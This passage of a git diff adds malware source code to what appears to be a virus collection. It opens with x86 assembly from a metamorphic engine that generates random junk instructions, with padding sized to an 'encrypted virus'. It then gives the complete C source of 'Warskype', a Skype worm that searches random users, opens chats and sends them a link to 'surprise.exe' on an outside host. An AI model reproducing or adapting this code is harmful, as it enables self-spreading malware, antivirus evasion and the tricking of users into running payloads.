dword[VerifiedAddress], edi+ret+++; ##### Nibble 2: CF PF (AF undefined, SF undefined?) - (SHL, SHR, SAL, SAR)+; ###########################################################################+++; ###########################################################################+; ##### Nibble 3: PF SF (AF undefined) - (AND, XOR, TEST)++GenerateNibble3:+; edi ... pointer in filecode+; bl & 0000'1111b ... nibble to generate++++ call InformationToFlagByte ; bh=flag byte++ call GetRandomNumber+ mov ebp, dword[RandomNumber]+ and ebp, 0000'0011b++ push 0++ GN3_AndXorTest_Loop:++ pop eax+ inc eax+ push eax+ cmp eax, 0x2A+ ja GN_PossibleInfinitLoop++ call GetRandomNumber+ mov eax, dword[RandomNumber]+ push eax++ call GetRandomNumber+ mov ecx, dword[RandomNumber]++ cmp ebp, 0+ jne GN3_AndXorTest_NotAnd+ and eax, ecx+ jmp GN3_AndXorTest_LAHF++ GN3_AndXorTest_NotAnd:+ cmp ebp, 1+ jne GN3_AndXorTest_NotXor+ xor eax, ecx+ jmp GN3_AndXorTest_LAHF++ GN3_AndXorTest_NotXor:+ test eax, ecx+ jmp GN3_AndXorTest_LAHF++ GN3_AndXorTest_LAHF:+ pop edx++ lahf++ and ah, byte[FlagMask]+ and bh, byte[FlagMask]+ cmp ah, bh+ jne GN3_AndXorTest_Loop++ pop eax ; remove counter++ call GetRandomNumber+ mov eax, dword[RandomNumber]+ and eax, 0000'0011b+ or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx)+ mov byte[edi], al+ and eax, 0000'0011b+ inc edi++ mov dword[edi], edx ; mov Reg1, NUMBER+ add edi, 4++ and eax, 0000'0011b++ call GetRandomNumber+ mov esi, dword[RandomNumber]+ and esi, 0000'0001b++ je GN3_AndXorTest_Num+ ; and Reg1, Reg2+ GN3_AndXorTest_TwoRegisters_Next:+ call GetRandomNumber+ mov ebx, dword[RandomNumber]+ and ebx, 0011b+ cmp ebx, eax+ je GN3_AndXorTest_TwoRegisters_Next ; Not the same registers!++ or bl, 0xB8+ mov byte[edi], bl ; mov Reg2, ...+ inc edi+ mov dword[edi], ecx ; mov Reg2, NNNN+ add edi, 4++ cmp ebp, 0+ jne GN3_AndXorTest_2Regs_NoAnd+ mov byte[edi], 0x21+ jmp GN3_AndXorTest_2Regs_cont1++ GN3_AndXorTest_2Regs_NoAnd:+ cmp ebp, 1+ jne GN3_AndXorTest_2Regs_NoXor++ mov byte[edi], 0x31+ jmp GN3_AndXorTest_2Regs_cont1++ GN3_AndXorTest_2Regs_NoXor:+ mov byte[edi], 0x85+ jmp GN3_AndXorTest_2Regs_cont1++ GN3_AndXorTest_2Regs_cont1:+ inc edi++ and bl, 0011b ; Reg2+ shl bl, 3 ; bl=000??000+ add bl, al ; bl=000??0??+ add bl, 1100'0000b ; bl=110??0??+ mov byte[edi], bl+ inc edi+ jmp GN3_AndXorTest_Fin++ GN3_AndXorTest_Num:+ push ebp+ and ebp, 0000'0010b+ pop ebp+ jz GN3_AndXorTest_Num_AndXor++ mov byte[edi], 0xF7+ inc edi++ or al, 0xC0+ mov byte[edi], al+ inc edi++ mov dword[edi], ecx+ add edi, 4+ jmp GN3_AndXorTest_Fin+++ GN3_AndXorTest_Num_AndXor:+ mov byte[edi], 0x81+ inc edi++ cmp ebp, 0+ jne GN3_AndXorTest_Num_NoAnd+ or al, 0xE0+ jmp GN3_AndXorTest_Num_cont1++ GN3_AndXorTest_Num_NoAnd:+ or al, 0xF0+; jmp GN3_AndXorTest_Num_cont1++ GN3_AndXorTest_Num_cont1:+ mov byte[edi], al+ inc edi++ mov dword[edi], ecx+ add edi, 4++ GN3_AndXorTest_Fin:++ mov dword[VerifiedAddress], edi+ret+++; ##### Nibble 3: CF PF SF (AF undefined) - (AND, XOR, TEST)+; ###########################################################################++++; ###########################################################################+; ##### Nibble 4: AF PF SF (DEC, INC)++GenerateNibble4:+; edi ... pointer in filecode+; bl & 0000'1111b ... nibble to generate+++ call InformationToFlagByte ; bh=flag byte++ call GetRandomNumber+ mov ebp, dword[RandomNumber]+ and ebp, 0000'0001b+++ push 0++ GN4_IncDec_Loop:++ pop eax+ inc eax+ push eax+ cmp eax, 0x2A+ ja GN_PossibleInfinitLoop++ call GetRandomNumber+ mov eax, dword[RandomNumber]+ push eax++ cmp ebp, 0+ je GN4_IncDec_Loop_DEC++ inc eax+ lahf+ jmp GN4_IncDec_Loop_fin++ GN4_IncDec_Loop_DEC:+ dec eax+ lahf++ GN4_IncDec_Loop_fin:+ pop edx++ and ah, byte[FlagMask]+ and bh, byte[FlagMask]+ cmp ah, bh+ jne GN4_IncDec_Loop++ pop eax ; remove counter++ call GetRandomNumber+ mov eax, dword[RandomNumber]+ and al, 0000'0011b+ or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx)+ mov byte[edi], al+ inc edi++ mov dword[edi], edx+ add edi, 4+++ and al, 0000'0011b++ cmp ebp, 1+ je GN4_IncDec_Loop_writeByteINC++ add al, 8++ GN4_IncDec_Loop_writeByteINC:+ add al, 0x40++ mov byte[edi], al+ inc edi++ mov dword[VerifiedAddress], edi+ret+++; ##### Nibble 4: AF PF SF (DEC, INC)+; ###########################################################################+++; ###########################################################################+; ##### Nibble 5: AF CF PF SF (ADD, CMD, NEG, SUB)+++GenerateNibble5:+; edi ... pointer in filecode+; bl & 0000'1111b ... nibble to generate++; AF CF PF SF+; using ADD, SUB, CMP, NEG++ call GetRandomNumber+ mov ebp, dword[RandomNumber]+ and ebp, 0000'0011b++ cmp ebp, 0x0+ je GN5_Neg++++ GN8AddSubCmpNext:+ call GetRandomNumber+ mov ebp, dword[RandomNumber]+ and ebp, 0000'0011b ; ebp tells which instruction to use (1=add, 2=sub, 3=cmp)+ jz GN8AddSubCmpNext+ jmp GN5_AddSubCmp++ GN5_fin:++ mov dword[VerifiedAddress], edi+ret++++GN5_Neg:+ call InformationToFlagByte ; bh=flag byte++ push 0++ GN5_Neg_Loop:++ pop eax+ inc eax+ push eax+ cmp eax, 0x2A+ ja GN_PossibleInfinitLoop++ call GetRandomNumber+ mov eax, dword[RandomNumber]+ push eax++ neg eax+ lahf++ pop edx++ cmp ah, bh+ jne GN5_Neg_Loop++ pop eax++ call GetRandomNumber+ mov eax, dword[RandomNumber]+ and al, 0000'0011b+ or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx)+ mov byte[edi], al+ inc edi++ mov dword[edi], edx+ add edi, 4++ mov byte[edi], 0xF7+ inc edi++ and al, 0000'0011b+ add al, 0xD8+ mov byte[edi], al+ inc edi++jmp GN5_fin+++++GN5_AddSubCmp:+ call InformationToFlagByte ; bh=flag byte+ call GetRandomNumber++ push 0 ; loop counter++ GN5_AddSubCmp_Loop:++ pop edx+ inc edx+ push edx+ cmp edx, 0x2A+ ja GN_PossibleInfinitLoop++ mov edx, dword[RandomNumber]+ push edx+ call GetRandomNumber+ mov esi, dword[RandomNumber]++ cmp ebp, 1+ je GN5_AddSubCmp_Loop_Sub++ cmp ebp, 2+ je GN5_AddSubCmp_Loop_Cmp++ mov ecx, 0x01C0+ add edx, esi+ jmp GN5_AddSubCmp_Loop_LAHF++ GN5_AddSubCmp_Loop_Sub:+ mov ecx, 0x29E8+ sub edx, esi+ jmp GN5_AddSubCmp_Loop_LAHF++ GN5_AddSubCmp_Loop_Cmp:+ mov ecx, 0x39F8+ cmp edx, esi+++ GN5_AddSubCmp_Loop_LAHF:+ lahf++ pop edx++ and ah, byte[FlagMask]+ and bh, byte[FlagMask]+ cmp ah, bh+ jne GN5_AddSubCmp_Loop++ pop eax ; remove counter++ call GetRandomNumber+ mov eax, dword[RandomNumber]+ and eax, 0000'0011b ; create Register number+ push eax ; save Register number++ mov bl, al+ add bl, 0xB8++ mov byte[edi], bl+ inc edi++ mov dword[edi], edx+ add edi, 4 ; mov Reg1, NNNN++ call GetRandomNumber+ mov eax, dword[RandomNumber]+ and eax, 1++ jz GN5_AddSubCmp_TwoRegisters+++ mov byte[edi], 0x81+ inc edi++ mov dl, cl+ pop eax ; get Register number+ add dl, al ; use Register number+ mov byte[edi], dl ; add Reg, ...+ inc edi+ mov dword[edi], esi+ add edi, 4+ jmp GN5_fin++ GN5_AddSubCmp_TwoRegisters:++ pop eax ; Register number+ and al, 0000'0011b++ GN5_AddSubCmp_TwoRegisters_Next:+ call GetRandomNumber+ mov ebx, dword[RandomNumber]+ and ebx, 0011b+ cmp ebx, eax+ je GN5_AddSubCmp_TwoRegisters_Next ; Not the same registers!++ or bl, 0xB8+ mov byte[edi], bl ; mov Reg2, ...+ inc edi+ mov dword[edi], esi ; mov Reg2, NNNN+ add edi, 4++ and bl, 0011b ; Reg2+ shl bl, 3 ; bl=000??000+ add bl, al ; bl=000??0??+ or bl, 1100'0000b ; bl=110??0??+ mov byte[edi], ch+ inc edi+ mov byte[edi], bl+ inc edi ; add Reg1, Reg2++jmp GN5_fin++; ##### Nibble 5: AF CF PF SF (ADD, CMD, NEG, SUB)+; ###########################################################################++InformationToFlagByte:+; in: bl=0000'SAPC+; out: bh=S00A'0P1C++ push eax+ mov al, bl+ ; CF:+ mov bh, bl ; ah=0000'SAPC+ and bh, 0000'0001b ; ah=0000'000C++ ; PF:+ shl bl, 1 ; al=000S'APC0+ or bh, bl ; ah=000S'APCC+ and bh, 0000'0101b ; ah=0000'0P0C++ ; AF:+ shl bl, 1 ; al=00SA'PC00+ and bl, 0011'0000b ; al=00SA'0000+ or bh, bl ; ah=00SA'0P0C+ and bh, 0001'0101b ; ah=000A'0P0C++ ; SF:+ shl bl, 2 ; al=SA00'0000+ or bh, bl ; ah=SA0A'0P0C+ and bh, 1001'0101b ; ah=S00A'0P0C+ or bh, 0000'0010b ; ah=S00A'0P1C++ xchg al, bl+ pop eax+ret+++GN_PossibleInfinitLoop:+; given Nibble could not be created with current methode+; therefore give up after 42+ trials and try with another one+++ pop eax ; remove counter+ pop eax ; remove return-addresse++ mov edi, dword[VerifiedAddress] ; last correct addresse of file++ ; if there has already been some code written to the+ ; new file, it can be considered as random functional trash :)++jmp CreateCodeForNibble++++; #####+; ##### Generate Nibbles+; #####+; ###########################################################################+++GetRandomNumber:+ pushad+ xor edx, edx+ mov eax, dword[RandomNumber]+ ror eax, 16++ mov ebx, 1103515245+ mul ebx ; EDX:EAX = EDX:EAX * EBX++ add eax, 12345+ rol eax, 16+ mov dword[RandomNumber], eax+ popad+ret++CreateSpecialRndNumber:+; in: ebx, ecx+; out: edx=(rand()%ebx + ecx)++ call GetRandomNumber++ xor edx, edx+ mov eax, dword[RandomNumber]+ div ebx++ add edx, ecx+ret++WholeCodeEnd:++times (175'269 + 7 * 1149 - (WholeCodeEnd-StartEngine)) db 0x0 ; 1st generation padding+ ; This is average size of encrypted virus + 7 * sigma - 1st gen. code+ ; 7*sigma ~ 99.999999999744 % of all cases+ ; (i took the average of 15files, as statistics is very high in one+ ; file, this is to a very good approx. gauss distributed)+.end startdiff --git a/Worms/InternetWorm/Worm.Win32.Warskype.c b/Worms/InternetWorm/Worm.Win32.Warskype.cnew file mode 100644index 0000000..1bbe399--- /dev/null+++ b/Worms/InternetWorm/Worm.Win32.Warskype.c@@ -0,0 +1,227 @@+/***********************************************************************************************+ * I saw many IM worms around but nothing using skype. Skype is a nice IM that let you to *+ * chat or to do VoIP call, so it is possible to use this program like a spreading vector. *+ * I tried to do direct file transfer but it didn't work so well, so I decided to send url *+ * to worm to the found users. *+ * This is only a demonstration, this is a direct action worm, it will work only if skype *+ * is installed. *+ * Greetz to: SkyOut, Nibble, izee, RadiatioN, berniee, sk0r, psyco_rabbit ... and everybody *+ * on #vx-lab and #eof-project *+ * bye bye ... by WarGame *+ ***********************************************************************************************/+++#include <windows.h>++/* Global handlers */+static UINT SkypeAttach;+static UINT SkypeDiscover;+static HWND Answer = NULL;+static HWND SkypeWnd = NULL;+static char rnd_nick[2];++ /* generate random nicks to search */+void GetRandNick(void)+{++ char possible_searches[] = "qwertyuiopasdfghjklzxcvbnm";++ srand(GetTickCount());+ rnd_nick[0] = possible_searches[rand()%26];+ rnd_nick[1] = 0;++}++DWORD WINAPI S3arch(LPVOID Data)+{+ char msg[128];+ COPYDATASTRUCT cds;++ while(1)+ {+ GetRandNick();+ sprintf(msg,"SEARCH USERS %s",rnd_nick);+ cds.dwData= 0;+ cds.lpData= msg;+ cds.cbData= strlen(msg)+1;+ if(!SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds))+ {+ /* skype closed */+ ExitProcess(0);+ }+ Sleep((1000*60)*3); /* every 3 minutes */+ }+}++LRESULT CALLBACK SkypeProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)+{+ PCOPYDATASTRUCT SkypeData = NULL;+ DWORD ThreadID;+ char *found_users = NULL,*chat_cmd = NULL,*chat_id = NULL,msg_cmd[256];+ COPYDATASTRUCT cds;++ if(uMsg == SkypeAttach)+ {+ if(lParam == 0)+ {+ SkypeWnd = (HWND)wParam;+ CreateThread(NULL,0,&S3arch,0,0,&ThreadID);+ }+ }++ if(uMsg == WM_COPYDATA)+ {+ if(wParam == SkypeWnd)+ {+ SkypeData=(PCOPYDATASTRUCT)lParam;++ if(SkypeData != NULL)+ {++ if(strstr(SkypeData->lpData,"CHAT "))+ {+ strtok(SkypeData->lpData," ");+ chat_id = strtok(NULL," ");+ /* this will send the url to everybody :) */+ sprintf(msg_cmd,"CHATMESSAGE %s Check this! http://marx2.altervista.org/surprise.exe",chat_id);++ cds.dwData= 0;+ cds.lpData= msg_cmd;+ cds.cbData= strlen(msg_cmd)+1;+ SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds);+ }++ if(strstr(SkypeData->lpData,"USERS "))+ {+ found_users = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096);++ if(found_users == NULL)+ {+ ExitProcess(0);+ }++ chat_cmd = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096+128);++ if(chat_cmd == NULL)+ {+ ExitProcess(0);+ }++ strcpy(found_users,(char *)SkypeData->lpData);++ strcpy(found_users,found_users+6);++ sprintf(chat_cmd,"CHAT CREATE %s",found_users);++ /* contact them :) */+ cds.dwData= 0;+ cds.lpData= chat_cmd;+ cds.cbData= strlen(chat_cmd)+1;+ SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds);++ GlobalFree(found_users);+ GlobalFree(chat_cmd);++ }+ }+ }+ }++ DefWindowProc( hWnd, uMsg , wParam, lParam);++ return 1; /* != 0 */+}++void MakeWindow(void)+{+ WNDCLASS wndcls;++ memset(&wndcls,0,sizeof(WNDCLASS));++ wndcls.lpszClassName = "WarSkype by [WarGame,#eof]";+ wndcls.lpfnWndProc = SkypeProc;++ if(RegisterClass(&wndcls) == 0)+ {+ ExitProcess(0);+ }++ Answer = CreateWindowEx(0, wndcls.lpszClassName, "Skype sucks!", 0, -1, -1, 0, 0,+ (HWND)NULL, (HMENU)NULL, (HINSTANCE)NULL, NULL);++ if(Answer == NULL)+ {+ ExitProcess(0);+ }+}++void RunSkype(void)+{+ HKEY hKey;+ char skype_path[MAX_PATH];+ DWORD len = MAX_PATH;+ STARTUPINFO inf_prog;+ PROCESS_INFORMATION info_pr;+ int user_ret;++#define ERROR MessageBox(NULL,"I could not find Skype !","Error!",MB_OK|MB_ICONERROR); \+ ExitProcess(0);++ /* path of skype in registry */+ if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Skype\\Phone",0,+ KEY_QUERY_VALUE,&hKey) != ERROR_SUCCESS)+ {+ ERROR+ }++ if(RegQueryValueEx(hKey,"SkypePath",0,NULL,skype_path,+ &len) != ERROR_SUCCESS)+ {+ ERROR+ }++ RegCloseKey(hKey);++ memset(&inf_prog,0,sizeof(STARTUPINFO));+ memset(&info_pr,0,sizeof(PROCESS_INFORMATION));++ inf_prog.cb = sizeof(STARTUPINFO);+ inf_prog.dwFlags = STARTF_USESHOWWINDOW;+ inf_prog.wShowWindow = SW_SHOW;++ if(CreateProcess(NULL,skype_path,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,+ NULL,&inf_prog,&info_pr))+ {+ MessageBox(NULL,"Allow this program in skype!","Warning!"+ ,MB_OK|MB_ICONWARNING);+ }++ else+ {+ ERROR+ }+}++int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)+{+ MSG oMessage;+ SkypeAttach = RegisterWindowMessage("SkypeControlAPIAttach");+ SkypeDiscover = RegisterWindowMessage("SkypeControlAPIDiscover");++ RunSkype(); /* (try to) run skype */++ if(SkypeAttach != 0 && SkypeDiscover != 0)+ {+ MakeWindow(); /* Create window */+ SendMessage(HWND_BROADCAST, SkypeDiscover, Answer, 0);++ while(GetMessage( &oMessage, 0, 0, 0)!=FALSE)+ {+ TranslateMessage(&oMessage);+ DispatchMessage(&oMessage);+ }+++ }++}\ No newline at end of file